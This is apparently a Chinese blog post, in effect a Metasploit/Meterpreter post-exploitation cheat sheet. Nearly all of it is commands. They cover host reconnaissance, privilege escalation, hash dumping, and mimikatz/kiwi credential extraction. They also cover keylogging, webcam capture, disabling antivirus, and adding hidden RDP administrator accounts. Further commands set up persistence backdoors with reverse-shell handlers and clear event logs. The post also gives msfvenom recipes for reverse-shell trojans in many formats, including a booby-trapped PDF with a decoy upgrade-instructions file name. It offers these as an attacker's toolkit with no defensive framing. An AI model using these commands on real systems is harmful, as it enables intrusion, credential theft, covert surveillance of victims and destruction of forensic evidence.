1 、获取目标分区情况 run post/windows/gather/forensics/enum_drives 2 、检测是否是虚拟主机 run post/windows/gather/checkvm 3 、获取当前安装的应用程序 run post/windows/gather/enum_applications 4 、获取用户登录信息 run post/windows/gather/enum_logged_on_users 5 、收集系统环境信息 run post/multi/gather/env 6 、查看开启的服务 run post/windows/gather/enum_services 7 、查看目标主机最近的操作 run post/windows/gather/dumplinks 8 、其他操作 删除用户 run post/wndows/manage/delete_user username=aiyou 添加账户 run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou 关闭杀软 windows/manage/killav 9 、查看目标机安装了哪些应用、补丁 run post/windows/gather/enum_applications 10 、对目标进行漏洞扫描 ( 提权操作 ) run post/multi/recon/local_exploit_suggester 执行之后给了我们很多 exploit 我们就随便挑几个 exploit/windows/local/ms16_014_wmi_recv_notif 这个提权成功 hashdump hashdump 是查询密码 hash : 因为有时候你得搜集密码来进⾏爆破别的⽤户 信息收集: run post/windows/gather/checkvm # 是否虚拟机 run post/linux/gather/checkvm # 是否虚拟机 run post/windows/gather/forensics/enum_drives # 查看分区 run post/windows/gather/enum_applications # 获取安装软件信息 run post/windows/gather/dumplinks # 获取最近的文件操作 run post/windows/gather/enum_ie # 获取 IE 缓存 run post/windows/gather/enum_chrome # 获取 Chrome 缓存 run post/windows/gather/enum_patches # 补丁信息 run post/windows/gather/enum_domain # 查找域控 msf 之键盘记录、屏幕截图、文件操作、 load 扩展等 键盘记录 先是获取到了一个 Meterpreter ,他有这些功能 keyscan_start 开启键盘监听后,再用 keyscan_dump 进行记录的导出,如果不想监听了才 keyscan_stop 。而不是先 keyscan_stop 再 keyscan_dump keyscan_start 启动键盘记录监听 目标机器输入东西的话,就可以获取到键盘记录 keyscan_dump 成功获取到键盘记录! < Left Windows >< CR > 是回车键 keyboard_send 输入东西到目标机器上 假设目标机器上有鼠标指针,那么说明可以输入内容,那我们就可以使用 keyboard_send 来输入东西到 目标主机上 目标目前是空的: 这个时候,目标的记事本里就多出了一些内容,就是我们刚刚输入的 hacker_hhhhh 文件操作 操作文件系统 1. 文件的基本操作 ls :列出当前路径下的所有文件和文件夹。 pwd 或 getwd :查看当前路径。 search :搜索文件,使用 search -h 查看帮助。 cat :查看文件内容,比如 cat test.txt 。 edit :编辑或者创建文件。和 Linux 系统的 vm 命令类似,同样适用于目标系统是 windows 的情况。 rm :删除文件。 cd :切换路径。 mkdir :创建文件夹。 rmdir :删除文件夹。 getlwd 或 lpwd :查看自己系统的当前路径。 lcd :切换自己当前系统的目录。 lls :显示自己当前系统的所有文件和文件夹。 getwd 查看目标当前目录 2. 文件的上传和下载 (1) upload 格式: upload 本地文件路径目标文件路径 (2)download 格式: download 目标文件路径 本地文件路径 load 扩展 load 可以加载这些: load -l 其实还可以加载 python 等等 load python 加载 python 加载扩展后,我们可以使用基本的 Python 函数,例如 print 。这可以通过使用 python_execute 命令和标 准 Python 语法来实现。 还可以保存到变量,并使用 -r 开关打印其内容。 运行 python 文件 : python_import -f /root/liuwx.py 这个好处是,无需对方系统有 python 环境,就可以运行 python 脚本 ~ 当然,也可以上传很多扩展,比 如 powershell 等等 系统其它操作 1. 关闭防病毒软件 run killav run post/windows/manage/killav 2. 操作远程桌面 run post/windows/manage/enable_rdp 开启远程桌面 run post/windows/manage/enable_rdp username=test password=test 添加远程桌面的用 户 ( 同时也会将该用户添加到管理员组 ) 3. 截屏 screenshot 4. 键盘记录 keyscan_start :开启键盘记录功能 keyscan_dump :显示捕捉到的键盘记录信息 keyscan_stop :停止键盘记录功能 5. 执行程序 execute -h 查看使用方法 -H :创建一个隐藏进程 -a :传递给命令的参数 -i :跟进程进行交互 -m :从内存中执行 -t :使用当前伪造的线程令牌运行进程 -s :在给定会话中执行进程 例: execute -f c:/temp/hello.exe 端口转发和内网代理 1.portfwd portfwd 是 meterpreter 提供的端口转发功能,在 meterpreter 下使用 portfwd -h 命令查看该命令的 参数。 常用参数: -l :本地监听端口 -r :内网目标的 ip -p :内网目标的端口 上面命令执行之后,会将 10.1.1.3 的 3389 端口转发到本地的 2222 端口。 2.pivot pivot 是 msf 最常用的代理,可以让我们使用 msf 提供的扫描模块对内网进行探测。 (1) 首先需要在 msf 的操作界面下添加一个路由表。 添加命令: route add 内网 ip 子网掩码 session 的 id 打印命令: route print 路由添加成功之后就可以在 msf 里访问 10.1.1.0/24 这个网段。 (2) 建立 socks 代理。 如果其它程序需要访问这个内网环境,就可以建立 socks 代理。 msf 提供了 3 个模块用来做 socks 代理。 auxiliary/server/socks4a use auxiliary/server/socks5 use auxiliary/server/socks_unc 以 auxiliary/server/socks4a 为例,查看需要设置的参数。 一共两个参数: SRVHOST :监听的 ip 地址,默认为 0.0.0.0 ,一般不需要更改。 SRVPORT :监听的端口,默认为 1080 。 直接运行 run 命令,就可以成功创建一个 socks4 代理隧道,在 linux 上可以配置 proxychains 使 用, 在windows 可以配置 Proxifier 进行使用。 msf 之常用命令 基础命令 加载模块 use name 查看网络配置 ifconfig 获取进程列表 ps 查看所有 exploit show exploits 查看所有 payload show payloads 查看所有 auxiliary show auxiliary 展示模块详细信息 info 查找模块 search name 查看当前运行的模块 jobs 重启目标机器 reboot 关闭目标机器 shutdown 获取交互 shell shell 当前 meterpreter 到后台 background 离开 msf quit 端口转发 portfwd add -l 6666 -p 3389 -r 192.168.1.2 常用参数: -l :本地监听端口 -r :内网目标的 ip -p :内网目标的端口 设置 Socks 代理 Socks4a 代理 use auxiliary/server/socks4a set srvhost 127.0.0.1 set srvport 1080 run 添加路由 获取网段信息 run get_local_subnets 查看帮助 run autoroute –h 添加到目标环境网络 run autoroute -s 192.168.0.1/24 打印添加的路由 run autoroute –p 删除路由 run autoroute -d -s 192.168.0.1/24 execute 执行文件 在目标机中执行文件 execute 创建新进程 cmd.exe , -H 不可见, -i 交互 execute -H -i -f cmd.exe -f :指定可执行文件 -H :创建一个隐藏进程 -a :传递给命令的参数 -i :跟进程进行交互 -m :从内存中执行 -t : 使用当前伪造的线程令牌运行进程 -s : 在给定会话中执行进程 migrate 转移进程 获取当前进程 PID getpid 获取进程列表 ps 转移进程 migrate PID 杀死进程 kill PID 自动进程迁移 run post/windows/manage/migrate 监听设置自动转移进程 set autorunscript migrate -f 令牌窃取 使用模块 use incognito 查看可用 token list_tokens -u 假冒 SYSTEM 权限 impersonate_token 'NT AUTHORITY\SYSTEM' 利用假冒身份执行命令 execute -f cmd.exe -i –t 或者直接 shell 即可 返回原始权限 rev2self 提权相关 加载特权提升扩展模块 use priv 获取更多的特权 getprivs 查看补丁信息 run post/windows/gather/enum_patches 可利用 exp 提权检测 use post/multi/recon/local_exploit_suggester 系统服务权限配置错误 use exploit/windows/local/service_permissions 注册表键配置错误提取 use exploit/windows/local/always_install_elevated 可信任服务路径 use exploit/windows/local/trusted_service_path bypassuac use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection use windows/local/bypassuac_vbs use windows/local/ask 键盘鼠标设置 禁用鼠标 uictl disable mouse 禁用键盘 uictl disable keyboard 启用鼠标 uictl enable mouse 启用键盘 uictl enable keyboard 键盘记录 # 开始键盘记录 keyscan_start # 导出记录数据 keyscan_dump # 结束键盘记录 keyscan_stop 信息搜集 查看当前目录 pwd getwd 查看目标主机信息 sysinfo 检查目标机器闲置时间 idletime 获取代理信息 getproxy 查看目标主机是否运行在虚拟机上 run checkvm run post/windows/gather/checkvm 获取主机安装软件、补丁 run post/windows/gather/enum_applications 获取目标主机环境变量 run post/multi/gather/env 获取 IE 缓存 run post/windows/gather/enum_ie 获取 Chrome 缓存 run post/windows/gather/enum_chrome 获取 Firefox 缓存 run post/windows/gather/enum_firefox 列举当前登录的用户 run post/windows/gather/enum_logged_on_users 查找域控 run post/windows/gather/enum_domain Windows 凭证搜索 run post/windows/gather/enum_unattend 获取办公文档 run post/windows/gather/dumplinks 获取目标常见信息并保存到本地 run scraper 屏幕截图 screenshot 密码获取 抓取自动登录的用户名和密码 run post/windows/gather/credentials/windows_autologin hashdump run post/windows/gather/smart_hashdump mimikatz 老版 加载 load mimikatz 获取 hash 值 msv 获取明文 Kerberos 获取系统账户信息 wdigest 新版 加载 kiwi 模块: 列举系统中的明文密码: creds_all : # 列举所有凭据 creds_kerberos : # 列举所有 kerberos 凭据 creds_msv : # 列举所有 msv 凭据 creds_ssp : # 列举所有 ssp 凭据 creds_tspkg : # 列举所有 tspkg 凭据 creds_wdigest : # 列举所有 wdigest 凭据 dcsync : # 通过 DCSync 检索用户帐户信息 dcsync_ntlm : # 通过 DCSync 检索用户帐户 NTLM 散列、 SID 和 RID golden_ticket_create : # 创建黄金票据 kerberos_ticket_list : # 列举 kerberos 票据 kerberos_ticket_purge : # 清除 kerberos 票据 kerberos_ticket_use : # 使用 kerberos 票据 kiwi_cmd : # 执行 mimikatz 的命令,后面接 mimikatz.exe 的命令 lsa_dump_sam : #dump 出 lsa 的 SAM lsa_dump_secrets : #dump 出 lsa 的密文 password_change : # 修改密码 wifi_list : # 列出当前用户的 wifi 配置文件 wifi_list_shared : # 列出共享 wifi 配置文件 / 编码 kiwi_cmd 模块可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令 : kiwi_cmd sekurlsa::logonpasswords load kiwi creds_all 获取域散列值 # 使用 psexec_ntdsgrab 模块 use auxiliary/admin/smb/psexec_ntdsgrab set RHOST set SMBDomain set SMBUser set SMBPass # 基于 meterpreter 会话 use windows/gather/credentials/domain_hashdump set session ID 流量抓取 查看网卡信息 run packetrecorder -L 查看流量 run packetrecorder -i < 网卡 ID> 端口扫描、主机发现 使用 arp 发现主机 run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24 扫描 tcp 端口 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 防火墙、杀软 关闭杀软 run killav 查看防火墙状态 run getcountermeasure 在 shell 中使用 netsh firewall show opmode PowerShell 加载脚本模块 powershell_import /root/Desktop/HostRecon.ps1 执行加载的脚本 powershell_execute Invoke-HostRecon Hash 传递 use exploit/windows/smb/psexec 摄像头、屏幕 查看摄像头信息 webcam_list 使用摄像头拍照 webcam_snap 屏幕监视 run vnc 开启远程桌面 开启远程桌面 run post/windows/manage/enable_rdp 添加用户 run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789 将 3389 端口转发到 6662 端口 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 cmdshell 升级 查看全部会话 sessions 选择会话 1 sessions 1 升级 meterpreter sessions -u 会话 id 持久化控制后门 run persistence -X -i 50 -p 4444 -r 192.168.1.7 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.109.137 set LPORT 4444 exploit 针对 linux 平台 目标主机保存的 ssh 身份验证信息 run post/multi/gather/ssh_creds 擦屁股、清痕迹 删除添加的账号 C:\Windows\system32> net user 添加的用户名 /del 删除日志 clearev 关闭所有 session 连接 sessions -K 事件日志 查看事件日志 run event_manager -i 清除事件日志 run event_manager -c msf 生成木马教程 生成木马命令: msfvenom msfcenom 详细语法 -e, –encoder [encoder] 指定需要使用的 encoder (编码器) -a, –arch < architecture> 指定 payload 的目标架构 –platform < platform> 指定 payload 的目标平台 -s, –space < length> 设定有效攻击荷载的最大长度 -b, –bad-chars < list> 设定规避字符集,比如 : & #039;\x00\xff& #039; -i, –iterations < count> 指定 payload 的编码次数 -c, –add-code < path> 指定一个附加的 win32 shellcode 文件 -x, –template < path> 指定一个自定义的可执行文件作为模板 -k, –keep 保护模板程序的动作,注入的 payload 作为一个新的进程运行 –payload-options 列举 payload 的标准选项 -o, –out < path> 保存 payload -v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成 payload -h, –help 查看帮助选项 –help-formats 查看 msf 支持的输出格式列表 生成木马语句 二进制 linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho web php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war 脚本 python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl 基于 pdf 的 shellcode use exploit/windows/fileformat/adobe_utilprintf msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset PAYLOAD windows/meterpreter/reverse_tcp 其他的就自己填就好了
标签:use,shell,run,命令,windows,gather,获取,post From: https://blog.csdn.net/2201_75387456/article/details/139360287